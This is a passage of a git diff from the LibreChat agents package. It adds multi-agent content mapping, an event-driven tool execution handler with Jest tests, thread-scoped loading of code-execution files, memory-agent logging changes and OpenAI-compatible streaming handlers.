} + } + + return primaryAgentId; +} + +type ContentPart = TMessage['content'] extends (infer U)[] | undefined ? U : never; + +/** + * Creates a mapMethod for getMessagesForConversation that processes agent content. + * - Strips agentId/groupId metadata from all content + * - For parallel agents (addedConvo with groupId): filters each group to its primary agent + * - For handoffs (agentId without groupId): keeps all content from all agents + * - For multi-agent: applies agent labels to content + * + * The key distinction: + * - Parallel execution (addedConvo): Parts have both agentId AND groupId + * - Handoffs: Parts only have agentId, no groupId + */ +export function createMultiAgentMapper(primaryAgent: Agent, agentConfigs?: Map) { + const hasMultipleAgents = (primaryAgent.edges?.length ?? 0) > 0 || (agentConfigs?.size ?? 0) > 0; + + let agentNames: Record | null = null; + if (hasMultipleAgents) { + agentNames = { [primaryAgent.id]: primaryAgent.name || 'Assistant' }; + if (agentConfigs) { + for (const [agentId, agentConfig] of agentConfigs.entries()) { + agentNames[agentId] = agentConfig.name || agentConfig.id; + } + } + } + + return (message: TMessage): TMessage => { + if (message.isCreatedByUser || !Array.isArray(message.content)) { + return message; + } + + const hasAgentMetadata = message.content.some( + (part) => + (part as ContentPart & { agentId?: string; groupId?: number })?.agentId || + (part as ContentPart & { groupId?: number })?.groupId != null, + ); + if (!hasAgentMetadata) { + return message; + } + + try { + const groupAgentMap = new Map>(); + + for (const part of message.content) { + const p = part as ContentPart & { agentId?: string; groupId?: number }; + const groupId = p?.groupId; + const agentId = p?.agentId; + if (groupId != null && agentId) { + if (!groupAgentMap.has(groupId)) { + groupAgentMap.set(groupId, new Set()); + } + groupAgentMap.get(groupId)!.add(agentId); + } + } + + const groupPrimaryMap = new Map(); + for (const [groupId, agentIds] of groupAgentMap) { + const primary = findPrimaryAgentId(agentIds); + if (primary) { + groupPrimaryMap.set(groupId, primary); + } + } + + const filteredContent: ContentPart[] = []; + const agentIdMap: Record = {}; + + for (const part of message.content) { + const p = part as ContentPart & { agentId?: string; groupId?: number }; + const agentId = p?.agentId; + const groupId = p?.groupId; + + const isParallelPart = groupId != null; + const groupPrimary = isParallelPart ? groupPrimaryMap.get(groupId) : null; + const shouldInclude = !isParallelPart || !agentId || agentId === groupPrimary; + + if (shouldInclude) { + const newIndex = filteredContent.length; + const { agentId: _a, groupId: _g, ...cleanPart } = p; + filteredContent.push(cleanPart as ContentPart); + if (agentId && hasMultipleAgents) { + agentIdMap[newIndex] = agentId; + } + } + } + + const finalContent = + Object.keys(agentIdMap).length > 0 && agentNames + ? labelContentByAgent(filteredContent as MessageContentComplex[], agentIdMap, agentNames) + : filteredContent; + + return { ...message, content: finalContent as TMessage['content'] }; + } catch (error) { + logger.error('[AgentClient] Error processing multi-agent message:', error); + return message; + } + }; +} diff --git a/packages/api/src/agents/context.ts b/packages/api/src/agents/context.ts index cc5c4a6623..ebae2e0f9f 100644 --- a/packages/api/src/agents/context.ts +++ b/packages/api/src/agents/context.ts @@ -1,6 +1,7 @@ import { DynamicStructuredTool } from '@langchain/core/tools'; import { Constants } from 'librechat-data-provider'; import type { Agent, TEphemeralAgent } from 'librechat-data-provider'; +import type { LCTool } from '@librechat/agents'; import type { Logger } from 'winston'; import type { MCPManager } from '~/mcp/MCPManager'; @@ -11,27 +12,43 @@ import type { MCPManager } from '~/mcp/MCPManager'; export type AgentWithTools = Pick & Partial> & { tools?: Array; + /** Serializable tool definitions for event-driven mode */ + toolDefinitions?: LCTool[]; }; /** - * Extracts unique MCP server names from an agent's tools. - * @param agent - The agent with tools + * Extracts unique MCP server names from an agent's tools or tool definitions. + * Supports both full tool instances (tools) and serializable definitions (toolDefinitions). + * @param agent - The agent with tools and/or tool definitions * @returns Array of unique MCP server names */ export function extractMCPServers(agent: AgentWithTools): string[] { - if (!agent?.tools?.length) { - return []; - } const mcpServers = new Set(); - for (let i = 0; i < agent.tools.length; i++) { - const tool = agent.tools[i]; - if (tool instanceof DynamicStructuredTool && tool.name.includes(Constants.mcp_delimiter)) { - const serverName = tool.name.split(Constants.mcp_delimiter).pop(); - if (serverName) { - mcpServers.add(serverName); + + /** Check tool instances (non-event-driven mode) */ + if (agent?.tools?.length) { + for (const tool of agent.tools) { + if (tool instanceof DynamicStructuredTool && tool.name.includes(Constants.mcp_delimiter)) { + const serverName = tool.name.split(Constants.mcp_delimiter).pop(); + if (serverName) { + mcpServers.add(serverName); + } } } } + + /** Check tool definitions (event-driven mode) */ + if (agent?.toolDefinitions?.length) { + for (const toolDef of agent.toolDefinitions) { + if (toolDef.name?.includes(Constants.mcp_delimiter)) { + const serverName = toolDef.name.split(Constants.mcp_delimiter).pop(); + if (serverName) { + mcpServers.add(serverName); + } + } + } + } + return Array.from(mcpServers); } diff --git a/packages/api/src/agents/handlers.spec.ts b/packages/api/src/agents/handlers.spec.ts new file mode 100644 index 0000000000..5b8072f743 --- /dev/null +++ b/packages/api/src/agents/handlers.spec.ts @@ -0,0 +1,178 @@ +import { Constants } from '@librechat/agents'; +import type { + ToolExecuteBatchRequest, + ToolExecuteResult, + ToolCallRequest, +} from '@librechat/agents'; +import { createToolExecuteHandler, ToolExecuteOptions } from './handlers'; + +function createMockTool(name: string, capturedConfigs: Record[]) { + return { + name, + invoke: jest.fn(async (_args: unknown, config: Record) => { + capturedConfigs.push({ ...(config.toolCall as Record) }); + return { + content: `stdout:\n${name} executed\n`, + artifact: { session_id: `result-session-${name}`, files: [] }, + }; + }), + }; +} + +function createHandler( + capturedConfigs: Record[], + toolNames: string[] = [Constants.EXECUTE_CODE], +) { + const mockTools = toolNames.map((name) => createMockTool(name, capturedConfigs)); + const loadTools: ToolExecuteOptions['loadTools'] = jest.fn(async () => ({ + loadedTools: mockTools as never[], + })); + return createToolExecuteHandler({ loadTools }); +} + +function invokeHandler( + handler: ReturnType, + toolCalls: ToolCallRequest[], +): Promise { + return new Promise((resolve, reject) => { + const request: ToolExecuteBatchRequest = { + toolCalls, + resolve, + reject, + }; + handler.handle('on_tool_execute', request); + }); +} + +describe('createToolExecuteHandler', () => { + describe('code execution session context passthrough', () => { + it('passes session_id and _injected_files from codeSessionContext to toolCallConfig', async () => { + const capturedConfigs: Record[] = []; + const handler = createHandler(capturedConfigs); + + const toolCalls: ToolCallRequest[] = [ + { + id: 'call_1', + name: Constants.EXECUTE_CODE, + args: { lang: 'python', code: 'print("hi")' }, + codeSessionContext: { + session_id: 'prev-session-abc', + files: [ + { session_id: 'prev-session-abc', id: 'f1', name: 'data.parquet' }, + { session_id: 'prev-session-abc', id: 'f2', name: 'chart.png' }, + ], + }, + }, + ]; + + await invokeHandler(handler, toolCalls); + + expect(capturedConfigs).toHaveLength(1); + expect(capturedConfigs[0].session_id).toBe('prev-session-abc'); + expect(capturedConfigs[0]._injected_files).toEqual([ + { session_id: 'prev-session-abc', id: 'f1', name: 'data.parquet' }, + { session_id: 'prev-session-abc', id: 'f2', name: 'chart.png' }, + ]); + }); + + it('passes session_id without _injected_files when session has no files', async () => { + const capturedConfigs: Record[] = []; + const handler = createHandler(capturedConfigs); + + const toolCalls: ToolCallRequest[] = [ + { + id: 'call_2', + name: Constants.EXECUTE_CODE, + args: { lang: 'python', code: 'import pandas' }, + codeSessionContext: { + session_id: 'session-no-files', + }, + }, + ]; + + await invokeHandler(handler, toolCalls); + + expect(capturedConfigs).toHaveLength(1); + expect(capturedConfigs[0].session_id).toBe('session-no-files'); + expect(capturedConfigs[0]._injected_files).toBeUndefined(); + }); + + it('does not inject session context when codeSessionContext is absent', async () => { + const capturedConfigs: Record[] = []; + const handler = createHandler(capturedConfigs); + + const toolCalls: ToolCallRequest[] = [ + { + id: 'call_3', + name: Constants.EXECUTE_CODE, + args: { lang: 'python', code: 'x = 1' }, + }, + ]; + + await invokeHandler(handler, toolCalls); + + expect(capturedConfigs).toHaveLength(1); + expect(capturedConfigs[0].session_id).toBeUndefined(); + expect(capturedConfigs[0]._injected_files).toBeUndefined(); + }); + + it('passes session context independently for multiple code execution calls', async () => { + const capturedConfigs: Record[] = []; + const handler = createHandler(capturedConfigs); + + const toolCalls: ToolCallRequest[] = [ + { + id: 'call_a', + name: Constants.EXECUTE_CODE, + args: { lang: 'python', code: 'step_1()' }, + codeSessionContext: { + session_id: 'session-A', + files: [{ session_id: 'session-A', id: 'fa', name: 'a.csv' }], + }, + }, + { + id: 'call_b', + name: Constants.EXECUTE_CODE, + args: { lang: 'python', code: 'step_2()' }, + codeSessionContext: { + session_id: 'session-A', + files: [{ session_id: 'session-A', id: 'fa', name: 'a.csv' }], + }, + }, + ]; + + await invokeHandler(handler, toolCalls); + + expect(capturedConfigs).toHaveLength(2); + for (const config of capturedConfigs) { + expect(config.session_id).toBe('session-A'); + expect(config._injected_files).toEqual([ + { session_id: 'session-A', id: 'fa', name: 'a.csv' }, + ]); + } + }); + + it('does not pass session context to non-code-execution tools', async () => { + const capturedConfigs: Record[] = []; + const handler = createHandler(capturedConfigs, ['web_search']); + + const toolCalls: ToolCallRequest[] = [ + { + id: 'call_ws', + name: 'web_search', + args: { query: 'test' }, + codeSessionContext: { + session_id: 'should-be-ignored', + files: [{ session_id: 'x', id: 'y', name: 'z' }], + }, + }, + ]; + + await invokeHandler(handler, toolCalls); + + expect(capturedConfigs).toHaveLength(1); + expect(capturedConfigs[0].session_id).toBeUndefined(); + expect(capturedConfigs[0]._injected_files).toBeUndefined(); + }); + }); +}); diff --git a/packages/api/src/agents/handlers.ts b/packages/api/src/agents/handlers.ts new file mode 100644 index 0000000000..d1be596219 --- /dev/null +++ b/packages/api/src/agents/handlers.ts @@ -0,0 +1,192 @@ +import { logger } from '@librechat/data-schemas'; +import { GraphEvents, Constants } from '@librechat/agents'; +import type { + LCTool, + EventHandler, + LCToolRegistry, + ToolCallRequest, + ToolExecuteResult, + ToolExecuteBatchRequest, +} from '@librechat/agents'; +import type { StructuredToolInterface } from '@langchain/core/tools'; +import { runOutsideTracing } from '~/utils'; + +export interface ToolEndCallbackData { + output: { + name: string; + tool_call_id: string; + content: string | unknown; + artifact?: unknown; + }; +} + +export interface ToolEndCallbackMetadata { + run_id?: string; + thread_id?: string; + [key: string]: unknown; +} + +export type ToolEndCallback = ( + data: ToolEndCallbackData, + metadata: ToolEndCallbackMetadata, +) => Promise; + +export interface ToolExecuteOptions { + /** Loads tools by name, using agentId to look up agent-specific context */ + loadTools: ( + toolNames: string[], + agentId?: string, + ) => Promise<{ + loadedTools: StructuredToolInterface[]; + /** Additional configurable properties to merge (e.g., userMCPAuthMap) */ + configurable?: Record; + }>; + /** Callback to process tool artifacts (code output files, file citations, etc.) */ + toolEndCallback?: ToolEndCallback; +} + +/** + * Creates the ON_TOOL_EXECUTE handler for event-driven tool execution. + * This handler receives batched tool calls, loads the required tools, + * executes them in parallel, and resolves with the results. + */ +export function createToolExecuteHandler(options: ToolExecuteOptions): EventHandler { + const { loadTools, toolEndCallback } = options; + + return { + handle: async (_event: string, data: ToolExecuteBatchRequest) => { + const { toolCalls, agentId, configurable, metadata, resolve, reject } = data; + + try { + await runOutsideTracing(async () => { + try { + const toolNames = [...new Set(toolCalls.map((tc: ToolCallRequest) => tc.name))]; + const { loadedTools, configurable: toolConfigurable } = await loadTools( + toolNames, + agentId, + ); + const toolMap = new Map(loadedTools.map((t) => [t.name, t])); + const mergedConfigurable = { ...configurable, ...toolConfigurable }; + + const results: ToolExecuteResult[] = await Promise.all( + toolCalls.map(async (tc: ToolCallRequest) => { + const tool = toolMap.get(tc.name); + + if (!tool) { + logger.warn( + `[ON_TOOL_EXECUTE] Tool "${tc.name}" not found. Available: ${[...toolMap.keys()].map((k) => `"${k}"`).join(', ')}`, + ); + return { + toolCallId: tc.id, + status: 'error' as const, + content: '', + errorMessage: `Tool ${tc.name} not found`, + }; + } + + try { + const toolCallConfig: Record = { + id: tc.id, + stepId: tc.stepId, + turn: tc.turn, + }; + + if ( + tc.codeSessionContext && + (tc.name === Constants.EXECUTE_CODE || + tc.name === Constants.PROGRAMMATIC_TOOL_CALLING) + ) { + toolCallConfig.session_id = tc.codeSessionContext.session_id; + if (tc.codeSessionContext.files && tc.codeSessionContext.files.length > 0) { + toolCallConfig._injected_files = tc.codeSessionContext.files; + } + } + + if (tc.name === Constants.PROGRAMMATIC_TOOL_CALLING) { + const toolRegistry = mergedConfigurable?.toolRegistry as + | LCToolRegistry + | undefined; + const ptcToolMap = mergedConfigurable?.ptcToolMap as + | Map + | undefined; + if (toolRegistry) { + const toolDefs: LCTool[] = Array.from(toolRegistry.values()).filter( + (t) => + t.name !== Constants.PROGRAMMATIC_TOOL_CALLING && + t.name !== Constants.TOOL_SEARCH, + ); + toolCallConfig.toolDefs = toolDefs; + toolCallConfig.toolMap = ptcToolMap ?? toolMap; + } + } + + const result = await tool.invoke(tc.args, { + toolCall: toolCallConfig, + configurable: mergedConfigurable, + metadata, + } as Record); + + if (toolEndCallback) { + await toolEndCallback( + { + output: { + name: tc.name, + tool_call_id: tc.id, + content: result.content, + artifact: result.artifact, + }, + }, + { + run_id: (metadata as Record)?.run_id as string | undefined, + thread_id: (metadata as Record)?.thread_id as + | string + | undefined, + ...metadata, + }, + ); + } + + return { + toolCallId: tc.id, + content: result.content, + artifact: result.artifact, + status: 'success' as const, + }; + } catch (toolError) { + const error = toolError as Error; + logger.error(`[ON_TOOL_EXECUTE] Tool ${tc.name} error:`, error); + return { + toolCallId: tc.id, + status: 'error' as const, + content: '', + errorMessage: error.message, + }; + } + }), + ); + + resolve(results); + } catch (error) { + logger.error('[ON_TOOL_EXECUTE] Fatal error:', error); + reject(error as Error); + } + }); + } catch (outerError) { + logger.error('[ON_TOOL_EXECUTE] Unexpected error:', outerError); + reject(outerError as Error); + } + }, + }; +} + +/** + * Creates a handlers object that includes ON_TOOL_EXECUTE. + * Can be merged with other handler objects. + */ +export function createToolExecuteHandlers( + options: ToolExecuteOptions, +): Record { + return { + [GraphEvents.ON_TOOL_EXECUTE]: createToolExecuteHandler(options), + }; +} diff --git a/packages/api/src/agents/index.ts b/packages/api/src/agents/index.ts index 77e7f9e2cc..47e15b8c28 100644 --- a/packages/api/src/agents/index.ts +++ b/packages/api/src/agents/index.ts @@ -1,11 +1,18 @@ export * from './avatars'; export * from './chain'; +export * from './client'; export * from './context'; export * from './edges'; +export * from './handlers'; export * from './initialize'; export * from './legacy'; export * from './memory'; export * from './migration'; +export * from './openai'; +export * from './transactions'; +export * from './usage'; export * from './resources'; +export * from './responses'; export * from './run'; +export * from './tools'; export * from './validation'; diff --git a/packages/api/src/agents/initialize.ts b/packages/api/src/agents/initialize.ts index 2671b8d65f..af604beb81 100644 --- a/packages/api/src/agents/initialize.ts +++ b/packages/api/src/agents/initialize.ts @@ -1,5 +1,6 @@ import { Providers } from '@librechat/agents'; import { + Constants, ErrorTypes, EModelEndpoint, EToolResources, @@ -10,16 +11,22 @@ import { } from 'librechat-data-provider'; import type { AgentToolResources, + AgentToolOptions, TEndpointOption, TFile, Agent, TUser, } from 'librechat-data-provider'; +import type { GenericTool, LCToolRegistry, ToolMap, LCTool } from '@librechat/agents'; import type { Response as ServerResponse } from 'express'; import type { IMongoFile } from '@librechat/data-schemas'; -import type { GenericTool } from '@librechat/agents'; import type { InitializeResultBase, ServerRequest, EndpointDbMethods } from '~/types'; -import { getModelMaxTokens, extractLibreChatParams, optionalChainWithEmptyCheck } from '~/utils'; +import { + optionalChainWithEmptyCheck, + extractLibreChatParams, + getModelMaxTokens, + getThreadData, +} from '~/utils'; import { filterFilesByEndpointConfig } from '~/files'; import { generateArtifactsPrompt } from '~/prompts'; import { getProviderConfig } from '~/endpoints'; @@ -35,7 +42,16 @@ export type InitializedAgent = Agent & { maxContextTokens: number; useLegacyContent: boolean; resendFiles: boolean; + tool_resources?: AgentToolResources; userMCPAuthMap?: Record>; + /** Tool map for ToolNode to use when executing tools (required for PTC) */ + toolMap?: ToolMap; + /** Tool registry for PTC and tool search (only present when MCP tools with env classification exist) */ + toolRegistry?: LCToolRegistry; + /** Serializable tool definitions for event-driven execution */ + toolDefinitions?: LCTool[]; + /** Precomputed flag indicating if any tools have defer_loading enabled (for efficient runtime checks) */ + hasDeferredTools?: boolean; }; /** @@ -51,6 +67,8 @@ export interface InitializeAgentParams { agent: Agent; /** Conversation ID (optional) */ conversationId?: string | null; + /** Parent message ID for determining the current thread (optional) */ + parentMessageId?: string | null; /** Request files */ requestFiles?: IMongoFile[]; /** Function to load agent tools */ @@ -61,11 +79,17 @@ export interface InitializeAgentParams { agentId: string; tools: string[]; model: string | null; + tool_options: AgentToolOptions | undefined; tool_resources: AgentToolResources | undefined; }) => Promise<{ - tools: GenericTool[]; - toolContextMap: Record; + /** Full tool instances (only present when definitionsOnly=false) */ + tools?: GenericTool[]; + toolContextMap?: Record; userMCPAuthMap?: Record>; + toolRegistry?: LCToolRegistry; + /** Serializable tool definitions for event-driven mode */ + toolDefinitions?: LCTool[]; + hasDeferredTools?: boolean; } | null>; /** Endpoint option (contains model_parameters and endpoint info) */ endpointOption?: Partial; @@ -85,10 +109,23 @@ export interface InitializeAgentDbMethods extends EndpointDbMethods { updateFilesUsage: (files: Array<{ file_id: string }>, fileIds?: string[]) => Promise; /** Get files from database */ getFiles: (filter: unknown, sort: unknown, select: unknown, opts?: unknown) => Promise; - /** Get tool files by IDs */ + /** Get tool files by IDs (user-uploaded files only, code files handled separately) */ getToolFilesByIds: (fileIds: string[], toolSet: Set) => Promise; /** Get conversation file IDs */ getConvoFiles: (conversationId: string) => Promise; + /** Get code-generated files by conversation ID and optional message IDs */ + getCodeGeneratedFiles?: (conversationId: string, messageIds?: string[]) => Promise; + /** Get user-uploaded execute_code files by file IDs (from message.files in thread) */ + getUserCodeFiles?: (fileIds: string[]) => Promise; + /** Get messages for a conversation (supports select for field projection) */ + getMessages?: ( + filter: { conversationId: string }, + select?: string, + ) => Promise; + }> | null>; } /** @@ -115,6 +152,7 @@ export async function initializeAgent( requestFiles = [], conversationId, endpointOption, + parentMessageId, allowedProviders, isInitialAgent = false, } = params; @@ -164,9 +202,51 @@ export async function initializeAgent( toolResourceSet.add(EToolResources[tool as keyof typeof EToolResources]); } } + const toolFiles = (await db.getToolFilesByIds(fileIds, toolResourceSet)) as IMongoFile[]; - if (requestFiles.length || toolFiles.length) { - currentFiles = (await db.updateFilesUsage(requestFiles.concat(toolFiles))) as IMongoFile[]; + + /** + * Retrieve execute_code files filtered to the current thread. + * This includes both code-generated files and user-uploaded execute_code files. + */ + let codeGeneratedFiles: IMongoFile[] = []; + let userCodeFiles: IMongoFile[] = []; + + if (toolResourceSet.has(EToolResources.execute_code)) { + let threadMessageIds: string[] | undefined; + let threadFileIds: string[] | undefined; + + if (parentMessageId && parentMessageId !== Constants.NO_PARENT && db.getMessages) { + /** Only select fields needed for thread traversal */ + const messages = await db.getMessages( + { conversationId }, + 'messageId parentMessageId files', + ); + if (messages && messages.length > 0) { + /** Single O(n) pass: build Map, traverse thread, collect both IDs */ + const threadData = getThreadData(messages, parentMessageId); + threadMessageIds = threadData.messageIds; + threadFileIds = threadData.fileIds; + } + } + + /** Code-generated files (context: execute_code) filtered by messageId */ + if (db.getCodeGeneratedFiles) { + codeGeneratedFiles = (await db.getCodeGeneratedFiles( + conversationId, + threadMessageIds, + )) as IMongoFile[]; + } + + /** User-uploaded execute_code files (context: agents/message_attachment) from thread messages */ + if (db.getUserCodeFiles && threadFileIds && threadFileIds.length > 0) { + userCodeFiles = (await db.getUserCodeFiles(threadFileIds)) as IMongoFile[]; + } + } + + const allToolFiles = toolFiles.concat(codeGeneratedFiles, userCodeFiles); + if (requestFiles.length || allToolFiles.length) { + currentFiles = (await db.updateFilesUsage(requestFiles.concat(allToolFiles))) as IMongoFile[]; } } else if (requestFiles.length) { currentFiles = (await db.updateFilesUsage(requestFiles)) as IMongoFile[]; @@ -198,9 +278,12 @@ export async function initializeAgent( }); const { - tools: structuredTools, + toolRegistry, toolContextMap, userMCPAuthMap, + toolDefinitions, + hasDeferredTools, + tools: structuredTools, } = (await loadTools?.({ req, res, @@ -208,8 +291,16 @@ export async function initializeAgent( agentId: agent.id, tools: agent.tools ?? [], model: agent.model, + tool_options: agent.tool_options, tool_resources, - })) ?? { tools: [], toolContextMap: {}, userMCPAuthMap: undefined }; + })) ?? { + tools: [], + toolContextMap: {}, + userMCPAuthMap: undefined, + toolRegistry: undefined, + toolDefinitions: [], + hasDeferredTools: false, + }; const { getOptions, overrideProvider } = getProviderConfig({ provider, @@ -260,13 +351,17 @@ export async function initializeAgent( agent.provider = options.provider; } + /** Check for tool presence from either full instances or definitions (event-driven mode) */ + const hasAgentTools = (structuredTools?.length ?? 0) > 0 || (toolDefinitions?.length ?? 0) > 0; + let tools: GenericTool[] = options.tools?.length ? (options.tools as GenericTool[]) - : structuredTools; + : (structuredTools ?? []); + if ( (agent.provider === Providers.GOOGLE || agent.provider === Providers.VERTEXAI) && options.tools?.length && - structuredTools?.length + hasAgentTools ) { throw new Error(`{ "type": "${ErrorTypes.GOOGLE_TOOL_CONFLICT}"}`); } else if ( @@ -308,13 +403,20 @@ export async function initializeAgent( const initializedAgent: InitializedAgent = { ...agent, - tools: (tools ?? []) as GenericTool[] & string[], - attachments: finalAttachments, resendFiles, + toolRegistry, + tool_resources, userMCPAuthMap, + toolDefinitions, + hasDeferredTools, + attachments: finalAttachments, toolContextMap: toolContextMap ?? {}, useLegacyContent: !!options.useLegacyContent, - maxContextTokens: Math.round((agentMaxContextNum - maxOutputTokensNum) * 0.9), + tools: (tools ?? []) as GenericTool[] & string[], + maxContextTokens: + maxContextTokens != null && maxContextTokens > 0 + ? maxContextTokens + : Math.round((agentMaxContextNum - maxOutputTokensNum) * 0.9), }; return initializedAgent; diff --git a/packages/api/src/agents/memory.ts b/packages/api/src/agents/memory.ts index bb4bd38282..b7ae8a8123 100644 --- a/packages/api/src/agents/memory.ts +++ b/packages/api/src/agents/memory.ts @@ -19,7 +19,8 @@ import type { TAttachment, MemoryArtifact } from 'librechat-data-provider'; import type { BaseMessage, ToolMessage } from '@langchain/core/messages'; import type { Response as ServerResponse } from 'express'; import { GenerationJobManager } from '~/stream/GenerationJobManager'; -import { Tokenizer, resolveHeaders, createSafeUser } from '~/utils'; +import { resolveHeaders, createSafeUser } from '~/utils'; +import Tokenizer from '~/utils/tokenizer'; type RequiredMemoryMethods = Pick< MemoryMethods, @@ -475,13 +476,21 @@ ${memory ?? 'No existing memories'}`; }; const content = await run.processStream(inputs, config); if (content) { - logger.debug('Memory Agent processed memory successfully', content); + logger.debug('[MemoryAgent] Processed successfully', { + userId, + conversationId, + messageId, + provider: llmConfig?.provider, + }); } else { - logger.warn('Memory Agent processed memory but returned no content'); + logger.debug('[MemoryAgent] Returned no content', { userId, conversationId, messageId }); } return await Promise.all(artifactPromises); } catch (error) { - logger.error('Memory Agent failed to process memory', error); + logger.error( + `[MemoryAgent] Failed to process memory | userId: ${userId} | conversationId: ${conversationId} | messageId: ${messageId}`, + { error }, + ); } } diff --git a/packages/api/src/agents/openai/handlers.ts b/packages/api/src/agents/openai/handlers.ts new file mode 100644 index 0000000000..0eea609771 --- /dev/null +++ b/packages/api/src/agents/openai/handlers.ts @@ -0,0 +1,464 @@ +/** + * OpenAI-compatible event handlers for agent streaming. + * + * These handlers convert LibreChat's internal graph events into OpenAI-compatible + * streaming format (SSE with chat.completion.chunk objects). + */ +import type { Response as ServerResponse } from 'express'; +import type { + ChatCompletionChunkChoice, + OpenAIResponseContext, + ChatCompletionChunk, + CompletionUsage, + ToolCall, +} from './types'; +import type { ToolExecuteOptions } from '~/agents/handlers'; +import { createToolExecuteHandler } from '~/agents/handlers'; + +/** + * Create a chat completion chunk in OpenAI format + */ +export function createChunk( + context: OpenAIResponseContext, + delta: ChatCompletionChunkChoice['delta'], + finishReason: ChatCompletionChunkChoice['finish_reason'] = null, + usage?: CompletionUsage, +): ChatCompletionChunk { + return { + id: context.requestId, + object: 'chat.completion.chunk', + created: context.created, + model: context.model, + choices: [ + { + index: 0, + delta, + finish_reason: finishReason, + }, + ], + ...(usage && { usage }), + }; +} + +/** + * Write an SSE event to the response + */ +export function writeSSE(res: ServerResponse, data: ChatCompletionChunk | string): void { + if (typeof data === 'string') { + res.write(`data: ${data}\n\n`); + } else { + res.write(`data: ${JSON.stringify(data)}\n\n`); + } +} + +/** + * Lightweight tracker for streaming responses. + * Only tracks what's needed for finish_reason and usage - doesn't store content. + */ +export interface OpenAIStreamTracker { + /** Whether any text content was emitted */ + hasText: boolean; + /** Whether any reasoning content was emitted */ + hasReasoning: boolean; + /** Accumulated tool calls by index */ + toolCalls: Map; + /** Accumulated usage metadata */ + usage: { + promptTokens: number; + completionTokens: number; + reasoningTokens: number; + }; + /** Mark that text was emitted */ + addText: () => void; + /** Mark that reasoning was emitted */ + addReasoning: () => void; +} + +/** + * Create a lightweight stream tracker (doesn't store content) + */ +export function createOpenAIStreamTracker(): OpenAIStreamTracker { + const tracker: OpenAIStreamTracker = { + hasText: false, + hasReasoning: false, + toolCalls: new Map(), + usage: { + promptTokens: 0, + completionTokens: 0, + reasoningTokens: 0, + }, + addText: () => { + tracker.hasText = true; + }, + addReasoning: () => { + tracker.hasReasoning = true; + }, + }; + return tracker; +} + +/** + * Content aggregator for non-streaming responses. + * Accumulates full text content, reasoning, and tool calls. + * Uses arrays for O(n) text accumulation instead of O(n²) string concatenation. + */ +export interface OpenAIContentAggregator { + /** Accumulated text chunks */ + textChunks: string[]; + /** Accumulated reasoning/thinking chunks */ + reasoningChunks: string[]; + /** Accumulated tool calls by index */ + toolCalls: Map; + /** Accumulated usage metadata */ + usage: { + promptTokens: number; + completionTokens: number; + reasoningTokens: number; + }; + /** Get accumulated text (joins chunks) */ + getText: () => string; + /** Get accumulated reasoning (joins chunks) */ + getReasoning: () => string; + /** Add text chunk */ + addText: (text: string) => void; + /** Add reasoning chunk */ + addReasoning: (text: string) => void; +} + +/** + * Create a content aggregator for non-streaming responses + */ +export function createOpenAIContentAggregator(): OpenAIContentAggregator { + const textChunks: string[] = []; + const reasoningChunks: string[] = []; + + return { + textChunks, + reasoningChunks, + toolCalls: new Map(), + usage: { + promptTokens: 0, + completionTokens: 0, + reasoningTokens: 0, + }, + getText: () => textChunks.join(''), + getReasoning: () => reasoningChunks.join(''), + addText: (text: string) => textChunks.push(text), + addReasoning: (text: string) => reasoningChunks.push(text), + }; +} + +/** + * Handler configuration for OpenAI streaming + */ +export interface OpenAIStreamHandlerConfig { + res: ServerResponse; + context: OpenAIResponseContext; + tracker: OpenAIStreamTracker; +} + +/** + * Graph event types from @librechat/agents + */ +export const GraphEvents = { + CHAT_MODEL_END: 'on_chat_model_end', + TOOL_END: 'on_tool_end', + CHAT_MODEL_STREAM: 'on_chat_model_stream', + ON_RUN_STEP: 'on_run_step', + ON_RUN_STEP_DELTA: 'on_run_step_delta', + ON_RUN_STEP_COMPLETED: 'on_run_step_completed', + ON_MESSAGE_DELTA: 'on_message_delta', + ON_REASONING_DELTA: 'on_reasoning_delta', + ON_TOOL_EXECUTE: 'on_tool_execute', +} as const; + +/** + * Step types from librechat-data-provider + */ +export const StepTypes = { + MESSAGE_CREATION: 'message_creation', + TOOL_CALLS: 'tool_calls', +} as const; + +/** + * Event data interfaces + */ +export interface MessageDeltaData { + id?: string; + content?: Array<{ type: string; text?: string }>; +} + +export interface RunStepDeltaData { + id?: string; + delta?: { + type?: string; + tool_calls?: Array<{ + index?: number; + id?: string; + type?: string; + function?: { + name?: string; + arguments?: string; + }; + }>; + }; +} + +export interface ToolEndData { + output?: { + name?: string; + tool_call_id?: string; + content?: string; + }; +} + +export interface ModelEndData { + output?: { + usage_metadata?: { + input_tokens?: number; + output_tokens?: number; + model?: string; + }; + }; +} + +/** + * Event handler interface + */ +export interface EventHandler { + handle( + event: string, + data: unknown, + metadata?: Record, + graph?: unknown, + ): void | Promise; +} + +/** + * Handler for message delta events - streams text content + */ +export class OpenAIMessageDeltaHandler implements EventHandler { + constructor(private config: OpenAIStreamHandlerConfig) {} + + handle(_event: string, data: MessageDeltaData): void { + const content = data?.content; + if (!content || !Array.isArray(content)) { + return; + } + + for (const part of content) { + if (part.type === 'text' && part.text) { + this.config.tracker.addText(); + const chunk = createChunk(this.config.context, { content: part.text }); + writeSSE(this.config.res, chunk); + } + } + } +} + +/** + * Handler for run step delta events - streams tool calls + */ +export class OpenAIRunStepDeltaHandler implements EventHandler { + constructor(private config: OpenAIStreamHandlerConfig) {} + + handle(_event: string, data: RunStepDeltaData): void { + const delta = data?.delta; + if (!delta || delta.type !== StepTypes.TOOL_CALLS) { + return; + } + + const toolCalls = delta.tool_calls; + if (!toolCalls || !Array.isArray(toolCalls)) { + return; + } + + for (const tc of toolCalls) { + if (tc.index === undefined) { + continue; + } + + // Initialize tool call in tracker if needed + let trackedTc = this.config.tracker.toolCalls.get(tc.index); + if (!trackedTc && tc.id) { + trackedTc = { + id: tc.id, + type: 'function', + function: { + name: '', + arguments: '', + }, + }; + this.config.tracker.toolCalls.set(tc.index, trackedTc); + } + + // Build the streaming delta + const streamDelta: ChatCompletionChunkChoice['delta'] = { + tool_calls: [ + { + index: tc.index, + ...(tc.id && { id: tc.id }), + ...(tc.type && { type: tc.type as 'function' }), + ...(tc.function && { + function: { + ...(tc.function.name && { name: tc.function.name }), + ...(tc.function.arguments && { arguments: tc.function.arguments }), + }, + }), + }, + ], + }; + + // Update tracked tool call + if (trackedTc) { + if (tc.function?.name) { + trackedTc.function.name += tc.function.name; + } + if (tc.function?.arguments) { + trackedTc.function.arguments += tc.function.arguments; + } + } + + const chunk = createChunk(this.config.context, streamDelta); + writeSSE(this.config.res, chunk); + } + } +} + +/** + * Handler for run step events - sends initial tool call info + */ +export class OpenAIRunStepHandler implements EventHandler { + constructor(private config: OpenAIStreamHandlerConfig) {} + + handle(_event: string, data: { stepDetails?: { type?: string } 